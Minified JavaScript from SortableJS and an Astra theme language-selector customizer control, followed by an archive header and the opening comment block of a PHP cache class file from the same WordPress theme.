Y(!1);de=l,fe=b;var k=l.nextElementSibling,N=!1,R=Re(G,i,z,t,l,n,e,N=1===b);if(!1!==R)return 1!==R&&-1!==R||(N=1===R),Ee=!0,setTimeout(Be,30),X(),N&&!k?i.appendChild(z):l.parentNode.insertBefore(z,N?k:l),T&&A(T,0,j-T.scrollTop),W=z.parentNode,void 0===E||ye||(pe=Math.abs(E-D(l)[I])),H(),Y(!0)}if(i.contains(z))return Y(!1)}return!1}function B(s,c){U(s,h,o({evt:e,isOwner:d,axis:a?"vertical":"horizontal",revert:r,dragRect:t,targetRect:n,canSort:f,fromSortable:p,target:l,completed:Y,onMove:function(n,o){return Re(G,i,z,t,n,D(n),e,o)},changed:H},c))}function X(){B("dragOverAnimationCapture"),h.captureAnimationState(),h!==p&&p.captureAnimationState()}function Y(t){return B("dragOverCompleted",{insertion:t}),t&&(d?u._hideClone():u._showClone(h),h!==p&&(y(z,oe?oe.options.ghostClass:u.options.ghostClass,!1),y(z,s.ghostClass,!0)),oe!==h&&h!==Ne.active?oe=h:h===Ne.active&&oe&&(oe=null),p===h&&(h._ignoreWhileAnimating=l),h.animateAll((function(){B("dragOverAnimationComplete"),h._ignoreWhileAnimating=null})),h!==p&&(p.animateAll(),p._ignoreWhileAnimating=null)),(l===z&&!z.animated||l===i&&!l.animated)&&(de=null),s.dragoverBubble||e.rootEl||l===document||(z.parentNode[L]._isOutsideThisEl(e.target),!t&&Ae(e)),!s.dragoverBubble&&e.stopPropagation&&e.stopPropagation(),v=!0}function H(){Q=P(z),te=P(z,s.draggable),F({sortable:h,name:"change",toEl:i,newIndex:Q,newDraggableIndex:te,originalEvent:e})}},_ignoreWhileAnimating:null,_offMoveEvents:function(){p(document,"mousemove",this._onTouchMove),p(document,"touchmove",this._onTouchMove),p(document,"pointermove",this._onTouchMove),p(document,"dragover",Ae),p(document,"mousemove",Ae),p(document,"touchmove",Ae)},_offUpEvents:function(){var e=this.el.ownerDocument;p(e,"mouseup",this._onDrop),p(e,"touchend",this._onDrop),p(e,"pointerup",this._onDrop),p(e,"touchcancel",this._onDrop),p(document,"selectstart",this)},_onDrop:function(e){var t=this.el,n=this.options;Q=P(z),te=P(z,n.draggable),U("drop",this,{evt:e}),W=z&&z.parentNode,Q=P(z),te=P(z,n.draggable),Ne.eventCanceled||(ve=!1,ye=!1,be=!1,clearInterval(this._loopId),clearTimeout(this._dragStartTimer),He(this.cloneId),He(this._dragStartId),this.nativeDraggable&&(p(document,"drop",this),p(t,"dragstart",this._onDragStart)),this._offMoveEvents(),this._offUpEvents(),s&&w(document.body,"user-select",""),w(z,"transform",""),e&&(ue&&(e.cancelable&&e.preventDefault(),!n.dropBubble&&e.stopPropagation()),K&&K.parentNode&&K.parentNode.removeChild(K),(G===W||oe&&"clone"!==oe.lastPutMode)&&$&&$.parentNode&&$.parentNode.removeChild($),z&&(this.nativeDraggable&&p(z,"dragend",this),Le(z),z.style["will-change"]="",ue&&!ve&&y(z,oe?oe.options.ghostClass:this.options.ghostClass,!1),y(z,this.options.chosenClass,!1),F({sortable:this,name:"unchoose",toEl:W,newIndex:null,newDraggableIndex:null,originalEvent:e}),G!==W?(Q>=0&&(F({rootEl:W,name:"add",toEl:W,fromEl:G,originalEvent:e}),F({sortable:this,name:"remove",toEl:W,originalEvent:e}),F({rootEl:W,name:"sort",toEl:W,fromEl:G,originalEvent:e}),F({sortable:this,name:"sort",toEl:W,originalEvent:e})),oe&&oe.save()):Q!==J&&Q>=0&&(F({sortable:this,name:"update",toEl:W,originalEvent:e}),F({sortable:this,name:"sort",toEl:W,originalEvent:e})),Ne.active&&(null!=Q&&-1!==Q||(Q=J,te=ee),F({sortable:this,name:"end",toEl:W,originalEvent:e}),this.save())))),this._nulling()},_nulling:function(){U("nulling",this),G=z=W=K=q=$=V=Z=re=ae=ue=Q=te=J=ee=de=fe=oe=ne=Ne.dragged=Ne.ghost=Ne.clone=Ne.active=null,Oe.forEach((function(e){e.checked=!0})),Oe.length=ie=le=0},handleEvent:function(e){switch(e.type){case"drop":case"dragend":this._onDrop(e);break;case"dragenter":case"dragover":z&&(this._onDragOver(e),function(e){e.dataTransfer&&(e.dataTransfer.dropEffect="move"),e.cancelable&&e.preventDefault()}(e));break;case"selectstart":e.preventDefault()}},toArray:function(){for(var e,t=[],n=this.el.children,o=0,r=n.length,a=this.options;o<r;o++)g(e=n[o],a.draggable,this.el,!1)&&t.push(e.getAttribute(a.dataIdAttr)||Xe(e));return t},sort:function(e){var t={},n=this.el;this.toArray().forEach((function(e,o){var r=n.children[o];g(r,this.options.draggable,n,!1)&&(t[e]=r)}),this),e.forEach((function(e){t[e]&&(n.removeChild(t[e]),n.appendChild(t[e]))}))},save:function(){var e=this.options.store;e&&e.set&&e.set(this)},closest:function(e,t){return g(e,t||this.options.draggable,this.el,!1)},option:function(e,t){var n=this.options;if(void 0===t)return n[e];var o=Y.modifyOption(this,e,t);n[e]=void 0!==o?o:t,"group"===e&&Ie(n)},destroy:function(){U("destroy",this);var e=this.el;e[L]=null,p(e,"mousedown",this._onTapStart),p(e,"touchstart",this._onTapStart),p(e,"pointerdown",this._onTapStart),this.nativeDraggable&&(p(e,"dragover",this),p(e,"dragenter",this)),Array.prototype.forEach.call(e.querySelectorAll("[draggable]"),(function(e){e.removeAttribute("draggable")})),this._onDrop(),this._disableDelayedDragEvents(),me.splice(me.indexOf(this.el),1),this.el=e=null},_hideClone:function(){if(!Z){if(U("hideClone",this),Ne.eventCanceled)return;w($,"display","none"),this.options.removeCloneOnHide&&$.parentNode&&$.parentNode.removeChild($),Z=!0}},_showClone:function(e){if("clone"===e.lastPutMode){if(Z){if(U("showClone",this),Ne.eventCanceled)return;z.parentNode!=G||this.options.group.revertClone?q?G.insertBefore($,q):G.appendChild($):G.insertBefore($,z),this.options.group.revertClone&&this.animate(z,$),w($,"display",""),Z=!1}}else this._hideClone()}},Se&&f(document,"touchmove",(function(e){(Ne.active||ve)&&e.cancelable&&e.preventDefault()})),Ne.utils={on:f,off:p,css:w,find:O,is:function(e,t){return!!g(e,t,e,!1)},extend:function(e,t){if(e&&t)for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return e},throttle:M,closest:g,toggleClass:y,clone:k,index:P,nextTick:Ye,cancelNextTick:He,detectDirection:Pe,getChild:_},Ne.get=function(e){return e[L]},Ne.mount=function(){var e=[].slice.call(arguments);e[0].constructor===Array&&(e=e[0]),e.forEach((function(e){if(!e.prototype||!e.prototype.constructor)throw"Sortable: Mounted plugin must be a constructor function, not "+{}.toString.call(e);e.utils&&(Ne.utils=o({},Ne.utils,e.utils)),Y.mount(e)}))},Ne.create=function(e,t){return new Ne(e,t)},Ne.version="1.12.0";var Ue,Fe,ze,We,Ke,Ge=[],qe=[],Ve=!1,$e=!1,Ze=!1;function Je(e,t){qe.forEach((function(n,o){var r=t.children[n.sortableIndex+(e?Number(o):0)];r?t.insertBefore(n,r):t.appendChild(n)}))}function Qe(){Ge.forEach((function(e){e!==ze&&e.parentNode&&e.parentNode.removeChild(e)}))}var et=function(e){var t=e.originalEvent,n=e.putSortable,o=e.dragEl,r=e.dispatchSortableEvent,a=e.unhideGhostForTarget;if(t){var i=n||e.activeSortable;(0,e.hideGhostForTarget)();var l=t.changedTouches&&t.changedTouches.length?t.changedTouches[0]:t,s=document.elementFromPoint(l.clientX,l.clientY);a(),i&&!i.el.contains(s)&&(r("spill"),this.onSpill({dragEl:o,putSortable:n}))}};function tt(){}function nt(){}tt.prototype={startIndex:null,dragStart:function(e){this.startIndex=e.oldDraggableIndex},onSpill:function(e){var t=e.dragEl,n=e.putSortable;this.sortable.captureAnimationState(),n&&n.captureAnimationState();var o=_(this.sortable.el,this.startIndex,this.options);o?this.sortable.el.insertBefore(t,o):this.sortable.el.appendChild(t),this.sortable.animateAll(),n&&n.animateAll()},drop:et},Object.assign(tt,{pluginName:"revertOnSpill"}),nt.prototype={onSpill:function(e){var t=e.dragEl,n=e.putSortable||this.sortable;n.captureAnimationState(),t.parentNode&&t.parentNode.removeChild(t),n.animateAll()},drop:et},Object.assign(nt,{pluginName:"removeOnSpill"});var ot,rt,at,it,lt,st,ct=[],ut=!1;function dt(){ct.forEach((function(e){clearInterval(e.pid)})),ct=[]}function ft(){clearInterval(st)}var pt=M((function(e,t,n,o){if(t.scroll){var r,a=(e.touches?e.touches[0]:e).clientX,i=(e.touches?e.touches[0]:e).clientY,l=t.scrollSensitivity,s=t.scrollSpeed,c=S(),u=!1;rt!==n&&(rt=n,dt(),r=t.scrollFn,!0===(ot=t.scroll)&&(ot=T(n,!0)));var d=0,f=ot;do{var p=f,h=D(p),v=h.top,g=h.bottom,m=h.left,b=h.right,y=h.width,E=h.height,O=void 0,C=void 0,_=p.scrollWidth,x=p.scrollHeight,P=w(p),I=p.scrollLeft,j=p.scrollTop;p===c?(O=y<_&&("auto"===P.overflowX||"scroll"===P.overflowX||"visible"===P.overflowX),C=E<x&&("auto"===P.overflowY||"scroll"===P.overflowY||"visible"===P.overflowY)):(O=y<_&&("auto"===P.overflowX||"scroll"===P.overflowX),C=E<x&&("auto"===P.overflowY||"scroll"===P.overflowY));var M=O&&(Math.abs(b-a)<=l&&I+y<_)-(Math.abs(m-a)<=l&&!!I),k=C&&(Math.abs(g-i)<=l&&j+E<x)-(Math.abs(v-i)<=l&&!!j);if(!ct[d])for(var N=0;N<=d;N++)ct[N]||(ct[N]={});ct[d].vx==M&&ct[d].vy==k&&ct[d].el===p||(ct[d].el=p,ct[d].vx=M,ct[d].vy=k,clearInterval(ct[d].pid),0==M&&0==k||(u=!0,ct[d].pid=setInterval(function(){o&&0===this.layer&&Ne.active._onTouchMove(lt);var t=ct[this.layer].vy?ct[this.layer].vy*s:0,n=ct[this.layer].vx?ct[this.layer].vx*s:0;"function"==typeof r&&"continue"!==r.call(Ne.dragged.parentNode[L],n,t,e,lt,ct[this.layer].el)||A(ct[this.layer].el,n,t)}.bind({layer:d}),24))),d++}while(t.bubbleScroll&&f!==c&&(f=T(f,!1)));ut=u}}),30);Ne.mount(new function(){function e(){for(var e in this.defaults={scroll:!0,scrollSensitivity:30,scrollSpeed:10,bubbleScroll:!0},this)"_"===e.charAt(0)&&"function"==typeof this[e]&&(this[e]=this[e].bind(this))}return e.prototype={dragStarted:function(e){var t=e.originalEvent;this.sortable.nativeDraggable?f(document,"dragover",this._handleAutoScroll):f(document,this.options.supportPointer?"pointermove":t.touches?"touchmove":"mousemove",this._handleFallbackAutoScroll)},dragOverCompleted:function(e){var t=e.originalEvent;this.options.dragOverBubble||t.rootEl||this._handleAutoScroll(t)},drop:function(){this.sortable.nativeDraggable?p(document,"dragover",this._handleAutoScroll):(p(document,"pointermove",this._handleFallbackAutoScroll),p(document,"touchmove",this._handleFallbackAutoScroll),p(document,"mousemove",this._handleFallbackAutoScroll)),ft(),dt(),clearTimeout(m),m=void 0},nulling:function(){lt=rt=ot=ut=st=at=it=null,ct.length=0},_handleFallbackAutoScroll:function(e){this._handleAutoScroll(e,!0)},_handleAutoScroll:function(e,t){var n=this,o=(e.touches?e.touches[0]:e).clientX,r=(e.touches?e.touches[0]:e).clientY,l=document.elementFromPoint(o,r);if(lt=e,t||i||a||s){pt(e,this.options,l,t);var c=T(l,!0);!ut||st&&o===at&&r===it||(st&&ft(),st=setInterval((function(){var a=T(document.elementFromPoint(o,r),!0);a!==c&&(c=a,dt()),pt(e,n.options,a,t)}),10),at=o,it=r)}else{if(!this.options.bubbleScroll||T(l,!0)===S())return void dt();pt(e,this.options,T(l,!1),!1)}}},Object.assign(e,{pluginName:"scroll",initializeByDefault:!0})}),Ne.mount(nt,tt),Ne.mount(new function(){function e(){this.defaults={swapClass:"sortable-swap-highlight"}}return e.prototype={dragStart:function(e){Me=e.dragEl},dragOverValid:function(e){var t=e.completed,n=e.target,o=e.changed,r=e.cancel;if(e.activeSortable.options.swap){var a=this.options;if(n&&n!==this.sortable.el){var i=Me;!1!==(0,e.onMove)(n)?(y(n,a.swapClass,!0),Me=n):Me=null,i&&i!==Me&&y(i,a.swapClass,!1)}o(),t(!0),r()}},drop:function(e){var t,n,o,r,a,i,l=e.activeSortable,s=e.putSortable,c=e.dragEl,u=s||this.sortable,d=this.options;Me&&y(Me,d.swapClass,!1),Me&&(d.swap||s&&s.options.swap)&&c!==Me&&(u.captureAnimationState(),u!==l&&l.captureAnimationState(),i=(n=Me).parentNode,(a=(t=c).parentNode)&&i&&!a.isEqualNode(n)&&!i.isEqualNode(t)&&(o=P(t),r=P(n),a.isEqualNode(i)&&o<r&&r++,a.insertBefore(n,a.children[o]),i.insertBefore(t,i.children[r])),u.animateAll(),u!==l&&l.animateAll())},nulling:function(){Me=null}},Object.assign(e,{pluginName:"swap",eventProperties:function(){return{swapItem:Me}}})}),Ne.mount(new function(){function e(e){for(var t in this)"_"===t.charAt(0)&&"function"==typeof this[t]&&(this[t]=this[t].bind(this));e.options.supportPointer?f(document,"pointerup",this._deselectMultiDrag):(f(document,"mouseup",this._deselectMultiDrag),f(document,"touchend",this._deselectMultiDrag)),f(document,"keydown",this._checkKeyDown),f(document,"keyup",this._checkKeyUp),this.defaults={selectedClass:"sortable-selected",multiDragKey:null,setData:function(t,n){var o="";Ge.length&&Fe===e?Ge.forEach((function(e,t){o+=(t?", ":"")+e.textContent})):o=n.textContent,t.setData("Text",o)}}}return e.prototype={multiDragKeyDown:!1,isMultiDrag:!1,delayStartGlobal:function(e){ze=e.dragEl},delayEnded:function(){this.isMultiDrag=~Ge.indexOf(ze)},setupClone:function(e){var t=e.sortable,n=e.cancel;if(this.isMultiDrag){for(var o=0;o<Ge.length;o++)qe.push(k(Ge[o])),qe[o].sortableIndex=Ge[o].sortableIndex,qe[o].draggable=!1,qe[o].style["will-change"]="",y(qe[o],this.options.selectedClass,!1),Ge[o]===ze&&y(qe[o],this.options.chosenClass,!1);t._hideClone(),n()}},clone:function(e){var t=e.dispatchSortableEvent,n=e.cancel;this.isMultiDrag&&(this.options.removeCloneOnHide||Ge.length&&Fe===e.sortable&&(Je(!0,e.rootEl),t("clone"),n()))},showClone:function(e){var t=e.cloneNowShown,n=e.cancel;this.isMultiDrag&&(Je(!1,e.rootEl),qe.forEach((function(e){w(e,"display","")})),t(),Ke=!1,n())},hideClone:function(e){var t=this,n=e.cloneNowHidden,o=e.cancel;this.isMultiDrag&&(qe.forEach((function(e){w(e,"display","none"),t.options.removeCloneOnHide&&e.parentNode&&e.parentNode.removeChild(e)})),n(),Ke=!0,o())},dragStartGlobal:function(e){!this.isMultiDrag&&Fe&&Fe.multiDrag._deselectMultiDrag(),Ge.forEach((function(e){e.sortableIndex=P(e)})),Ge=Ge.sort((function(e,t){return e.sortableIndex-t.sortableIndex})),Ze=!0},dragStarted:function(e){var t=this,n=e.sortable;if(this.isMultiDrag){if(this.options.sort&&(n.captureAnimationState(),this.options.animation)){Ge.forEach((function(e){e!==ze&&w(e,"position","absolute")}));var o=D(ze,!1,!0,!0);Ge.forEach((function(e){e!==ze&&N(e,o)})),$e=!0,Ve=!0}n.animateAll((function(){$e=!1,Ve=!1,t.options.animation&&Ge.forEach((function(e){R(e)})),t.options.sort&&Qe()}))}},dragOver:function(e){var t=e.completed,n=e.cancel;$e&&~Ge.indexOf(e.target)&&(t(!1),n())},revert:function(e){var t=e.fromSortable,n=e.rootEl,o=e.sortable,r=e.dragRect;Ge.length>1&&(Ge.forEach((function(e){o.addAnimationState({target:e,rect:$e?D(e):r}),R(e),e.fromRect=r,t.removeAnimationState(e)})),$e=!1,function(e,t){Ge.forEach((function(n,o){var r=t.children[n.sortableIndex+(e?Number(o):0)];r?t.insertBefore(n,r):t.appendChild(n)}))}(!this.options.removeCloneOnHide,n))},dragOverCompleted:function(e){var t=e.sortable,n=e.isOwner,o=e.activeSortable,r=e.parentEl,a=e.putSortable,i=this.options;if(e.insertion){if(n&&o._hideClone(),Ve=!1,i.animation&&Ge.length>1&&($e||!n&&!o.options.sort&&!a)){var l=D(ze,!1,!0,!0);Ge.forEach((function(e){e!==ze&&(N(e,l),r.appendChild(e))})),$e=!0}if(!n)if($e||Qe(),Ge.length>1){var s=Ke;o._showClone(t),o.options.animation&&!Ke&&s&&qe.forEach((function(e){o.addAnimationState({target:e,rect:We}),e.fromRect=We,e.thisAnimationDuration=null}))}else o._showClone(t)}},dragOverAnimationCapture:function(e){var t=e.dragRect,n=e.isOwner,o=e.activeSortable;if(Ge.forEach((function(e){e.thisAnimationDuration=null})),o.options.animation&&!n&&o.multiDrag.isMultiDrag){We=Object.assign({},t);var r=E(ze,!0);We.top-=r.f,We.left-=r.e}},dragOverAnimationComplete:function(){$e&&($e=!1,Qe())},drop:function(e){var t=e.originalEvent,n=e.rootEl,o=e.parentEl,r=e.sortable,a=e.dispatchSortableEvent,i=e.oldIndex,l=e.putSortable,s=l||this.sortable;if(t){var c=this.options,u=o.children;if(!Ze)if(c.multiDragKey&&!this.multiDragKeyDown&&this._deselectMultiDrag(),y(ze,c.selectedClass,!~Ge.indexOf(ze)),~Ge.indexOf(ze))Ge.splice(Ge.indexOf(ze),1),Ue=null,H({sortable:r,rootEl:n,name:"deselect",targetEl:ze,originalEvt:t});else{if(Ge.push(ze),H({sortable:r,rootEl:n,name:"select",targetEl:ze,originalEvt:t}),t.shiftKey&&Ue&&r.el.contains(Ue)){var d,f,p=P(Ue),h=P(ze);if(~p&&~h&&p!==h)for(h>p?(f=p,d=h):(f=h,d=p+1);f<d;f++)~Ge.indexOf(u[f])||(y(u[f],c.selectedClass,!0),Ge.push(u[f]),H({sortable:r,rootEl:n,name:"select",targetEl:u[f],originalEvt:t}))}else Ue=ze;Fe=s}if(Ze&&this.isMultiDrag){if((o[L].options.sort||o!==n)&&Ge.length>1){var v=D(ze),g=P(ze,":not(."+this.options.selectedClass+")");if(!Ve&&c.animation&&(ze.thisAnimationDuration=null),s.captureAnimationState(),!Ve&&(c.animation&&(ze.fromRect=v,Ge.forEach((function(e){if(e.thisAnimationDuration=null,e!==ze){var t=$e?D(e):v;e.fromRect=t,s.addAnimationState({target:e,rect:t})}}))),Qe(),Ge.forEach((function(e){u[g]?o.insertBefore(e,u[g]):o.appendChild(e),g++})),i===P(ze))){var m=!1;Ge.forEach((function(e){e.sortableIndex===P(e)||(m=!0)})),m&&a("update")}Ge.forEach((function(e){R(e)})),s.animateAll()}Fe=s}(n===o||l&&"clone"!==l.lastPutMode)&&qe.forEach((function(e){e.parentNode&&e.parentNode.removeChild(e)}))}},nullingGlobal:function(){this.isMultiDrag=Ze=!1,qe.length=0},destroyGlobal:function(){this._deselectMultiDrag(),p(document,"pointerup",this._deselectMultiDrag),p(document,"mouseup",this._deselectMultiDrag),p(document,"touchend",this._deselectMultiDrag),p(document,"keydown",this._checkKeyDown),p(document,"keyup",this._checkKeyUp)},_deselectMultiDrag:function(e){if(!(void 0!==Ze&&Ze||Fe!==this.sortable||e&&g(e.target,this.options.draggable,this.sortable.el,!1)||e&&0!==e.button))for(;Ge.length;){var t=Ge[0];y(t,this.options.selectedClass,!1),Ge.shift(),H({sortable:this.sortable,rootEl:this.sortable.el,name:"deselect",targetEl:t,originalEvt:e})}},_checkKeyDown:function(e){e.key===this.options.multiDragKey&&(this.multiDragKeyDown=!0)},_checkKeyUp:function(e){e.key===this.options.multiDragKey&&(this.multiDragKeyDown=!1)}},Object.assign(e,{pluginName:"multiDrag",utils:{select:function(e){var t=e.parentNode[L];t&&t.options.multiDrag&&!~Ge.indexOf(e)&&(Fe&&Fe!==t&&(Fe.multiDrag._deselectMultiDrag(),Fe=t),y(e,t.options.selectedClass,!0),Ge.push(e))},deselect:function(e){var t=e.parentNode[L],n=Ge.indexOf(e);t&&t.options.multiDrag&&~n&&(y(e,t.options.selectedClass,!1),Ge.splice(n,1))}},eventProperties:function(){var e=this,t=[],n=[];return Ge.forEach((function(o){var r;t.push({multiDragElement:o,index:o.sortableIndex}),r=$e&&o!==ze?-1:$e?P(o,":not(."+e.options.selectedClass+")"):P(o),n.push({multiDragElement:o,index:r})})),{items:[].concat(Ge),clones:[].concat(qe),oldIndicies:t,newIndicies:n}},optionListeners:{multiDragKey:function(e){return"ctrl"===(e=e.toLowerCase())?e="Control":e.length>1&&(e=e.charAt(0).toUpperCase()+e.substr(1)),e}}})}),t.default=Ne},function(e,t,n){"use strict";n.r(t);var o=n(0),r=n(2),a=n.n(r),i=n(3),l=n.n(i),s=n(4),c=n.n(s),u=n(5),d=n(1);function f(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function p(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?f(Object(n),!0).forEach((function(t){l()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):f(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var h=wp.i18n.__,v=wp.components,g=v.Dashicon,m=v.TextControl,b=v.Button,y=function(e){window.svgIcons;var t=Object(d.useState)({open:!1}),n=a()(t,2),r=n[0],i=n[1],l=Object(o.createElement)("span",{className:"description customize-control-description"},h("Enter alternative URL which provides above selected language translation of your site.","astra-addon"));return Object(o.createElement)("div",{className:"ahfb-sorter-item","data-id":e.item.id,key:e.item.id},Object(o.createElement)("div",{className:"ahfb-sorter-item-panel-header",onClick:function(){i((function(e){return p(p({},e),{},{open:!r.open})}))}},Object(o.createElement)("span",{className:"ahfb-sorter-title"},void 0!==e.item.label&&""!==e.item.label?e.item.label:h("Language Item","astra-addon")),Object(o.createElement)(b,{className:"ahfb-sorter-item-expand ".concat(e.item.enabled?"item-is-visible":"item-is-hidden"),onClick:function(t){t.stopPropagation(),e.toggleEnabled(!e.item.enabled,e.index)}},Object(o.createElement)(g,{icon:"visibility"})),Object(o.createElement)(b,{className:"ahfb-sorter-item-remove",isDestructive:!0,onClick:function(){e.removeItem(e.index)}},Object(o.createElement)(g,{icon:"no-alt"}))),r.open&&Object(o.createElement)("div",{className:"ahfb-sorter-item-panel-content"},Object(o.createElement)(m,{label:h("Label","astra-addon"),value:e.item.label?e.item.label:"",onChange:function(t){e.onChangeLabel(t,e.index)}}),Object(o.createElement)(m,{label:h("URL","astra-addon"),value:e.item.url?e.item.url:"",onChange:function(t){e.onChangeURL(t,e.index)}}),l))};function w(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function E(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?w(Object(n),!0).forEach((function(t){l()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):w(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var O=wp.i18n.__,S=wp.components,D=S.Button,C=S.SelectControl,_=function(e){var t=e.control.setting.get(),n={items:[{id:"gb",enabled:!0,url:"",label:O("English","astra-addon")}]},r=e.control.params.default?E(E({},n),e.control.params.default):n;t=t?E(E({},r),t):r;var i={group:"language_selector_group",options:[{label:O("Albanian","astra-addon"),value:"al"},{label:O("Arabic","astra-addon"),value:"sa"},{label:O("Bengali","astra-addon"),value:"bd"},{label:O("Bulgarian","astra-addon"),value:"bg"},{label:O("Chinese","astra-addon"),value:"cn"},{label:O("Croatian","astra-addon"),value:"hr"},{label:O("Czech","astra-addon"),value:"cz"},{label:O("English","astra-addon"),value:"gb"},{label:O("French","astra-addon"),value:"fr"},{label:O("German","astra-addon"),value:"de"},{label:O("Greek","astra-addon"),value:"gr"},{label:O("Hebrew","astra-addon"),value:"il"},{label:O("Hindi","astra-addon"),value:"in"},{label:O("Hungarian","astra-addon"),value:"hu"},{label:O("Icelandic","astra-addon"),value:"is"},{label:O("Indonesian","astra-addon"),value:"id"},{label:O("Italian","astra-addon"),value:"it"},{label:O("Japanese","astra-addon"),value:"jp"},{label:O("Korean","astra-addon"),value:"kr"},{label:O("Latvian","astra-addon"),value:"lv"},{label:O("Lithuanian","astra-addon"),value:"lt"},{label:O("Macedonian","astra-addon"),value:"mk"},{label:O("Malay","astra-addon"),value:"my"},{label:O("Maltese","astra-addon"),value:"mt"},{label:O("Mongolian","astra-addon"),value:"mn"},{label:O("Nepali","astra-addon"),value:"np"},{label:O("Dutch","astra-addon"),value:"nl"},{label:O("Norwegian Bokmål","astra-addon"),value:"no"},{label:O("Persian","astra-addon"),value:"ir"},{label:O("Polish","astra-addon"),value:"pl"},{label:O("Portuguese, Portugal","astra-addon"),value:"pt"},{label:O("Romanian","astra-addon"),value:"ro"},{label:O("Russian","astra-addon"),value:"ru"},{label:O("Serbian","astra-addon"),value:"rs"},{label:O("Slovak","astra-addon"),value:"sk"},{label:O("Slovenian","astra-addon"),value:"si"},{label:O("Somali","astra-addon"),value:"so"},{label:O("Spanish","astra-addon"),value:"es"},{label:O("Swedish","astra-addon"),value:"se"},{label:O("Tamil","astra-addon"),value:"lk"},{label:O("Thai","astra-addon"),value:"th"},{label:O("Turkish","astra-addon"),value:"tr"},{label:O("Ukrainian","astra-addon"),value:"ua"},{label:O("Urdu","astra-addon"),value:"pk"},{label:O("Uzbek","astra-addon"),value:"uz"},{label:O("Vietnamese","astra-addon"),value:"vn"},{label:O("Zulu","astra-addon"),value:"za"},{label:O("Other","astra-addon"),value:"zz-other"}].sort((function(e,t){return e.label<t.label?-1:e.label>t.label?1:0}))},l=e.control.params.input_attrs?E(E({},i),e.control.params.input_attrs):i,s=[];l.options.map((function(e){t.items.some((function(t){return t.id===e.value}))||s.push(e)}));var c=Object(d.useState)({value:t,isVisible:!1,control:void 0!==s[0]&&void 0!==s[0].value?s[0].value:""}),f=a()(c,2),p=f[0],h=f[1];Object(d.useEffect)((function(){h((function(t){return E(E({},t),{},{value:e.control.setting.get()})}))}),[e]);var v=function(t){e.control.setting.set(E(E(E({},e.control.setting.get()),t),{},{flag:!e.control.setting.get().flag}))},g=function(){var e,t=document.querySelectorAll(".ahfb-builder-area");for(e=0;e<t.length;++e)t[e].classList.remove("ahfb-dragging-dropzones")},m=function(e,t){var n=p.value,o=n.items.map((function(n,o){return t===o&&(n=E(E({},n),e)),n}));n.items=o,h((function(e){return E(E({},e),{},{value:n})})),v(n)},b=function(e,t){if(e===t)return!0;if(null==e||null==t)return!1;if(e.length!=t.length)return!1;for(var n=0;n<e.length;++n)if(e[n]!==t[n])return!1;return!0},w=void 0!==p.value&&null!=p.value.items&&null!=p.value.items.length&&p.value.items.length>0?p.value.items:[],S=[];w.length>0&&w.map((function(e){S.push({id:e.id})})),l.options.map((function(e){S.some((function(t){return t.id===e.value}))||s.push(e)}));return Object(o.createElement)("div",{className:"ahfb-control-field ahfb-sorter-items"},Object(o.createElement)("div",{className:"ahfb-sorter-row"},Object(o.createElement)(u.ReactSortable,{animation:100,onStart:function(){return g()},onEnd:function(){return g()},group:l.group,className:"ahfb-sorter-drop ahfb-sorter-sortable-panel ahfb-sorter-drop-".concat(l.group),handle:".ahfb-sorter-item-panel-header",list:S,setList:function(e){return t=e,n=p.value,o=n.items,r=[],t.length>0&&t.map((function(e){o.filter((function(t){t.id===e.id&&r.push(t)}))})),void(b(o,r)||(o.items=r,n.items=r,h((function(e){return E(E({},e),{},{value:n})})),v(n)));var t,n,o,r}},w.length>0&&w.map((function(e,t){return Object(o.createElement)(y,{removeItem:function(e){return t=e,n=p.value,o=n.items,r=[],o.length>0&&o.map((function(e,n){t!==n&&r.push(e)})),n.items=r,h((function(e){return E(E({},e),{},{value:n})})),void v(n);var t,n,o,r},toggleEnabled:function(e,t){return function(e,t){m({enabled:e},t)}(e,t)},onChangeLabel:function(e,t){return function(e,t){m({label:e},t)}(e,t)},onChangeURL:function(e,t){return function(e,t){m({url:e},t)}(e,t)},key:e.id,index:t,item:e,controlParams:l})})))),void 0!==s[0]&&void 0!==s[0].value&&Object(o.createElement)("div",{className:"ahfb-language-selector-add-area"},Object(o.createElement)(C,{value:p.control,options:s,onChange:function(e){h((function(t){return E(E({},t),{},{control:e})}))}}),Object(o.createElement)(D,{className:"ahfb-sorter-add-item",isPrimary:!0,onClick:function(){!function(){var e=p.control;if(h((function(e){return E(E({},e),{},{isVisible:!1})})),e){var t=p.value,n=t.items,o=l.options.filter((function(t){return t.value===e})),r={id:e,enabled:!0,url:"",label:o[0].label};n.push(r),t.items=n;var a=[];l.options.map((function(e){n.some((function(t){return t.id===e.value}))||a.push(e)})),h((function(e){return E(E({},e),{},{control:void 0!==a[0]&&void 0!==a[0].value?a[0].value:""})})),h((function(e){return E(E({},e),{},{value:t})})),v(t)}}()}},O("Add Language","astra-addon"))))};_.propTypes={control:c.a.object.isRequired};var x=_,P=wp.customize.Control.extend({renderContent:function(){ReactDOM.render(Object(o.createElement)(x,{control:this}),this.container[0])}});wp.customize.controlConstructor["ast-language-selector"]=P}]); cache/class-astra-cache-base.php 0000666 00000031774 15165730730 0012535 0 ustar 00 <?php /** * Astra Cache * * @package Astra * @link https://www.brainstormforce.com * @since Astra 2.1.0 */ /** * Class Astra_Cache_Base. */ // @codingStandardsIgnoreStart class Astra_Cache_Base { // @codingStandardsIgnoreEnd /** * Member Variable * * @var array instance */ private static $dynamic_css_files = array(); /** * Asset slug for filename. * * @since 2.1.0 * @var string */ private $asset_slug = ''; /** * Check if we are on a single or archive query page. * * @since 2.1.0 * @var string */ private $asset_query_var = ''; /** * Asset Type - archive/post * * @since 2.1.0 * 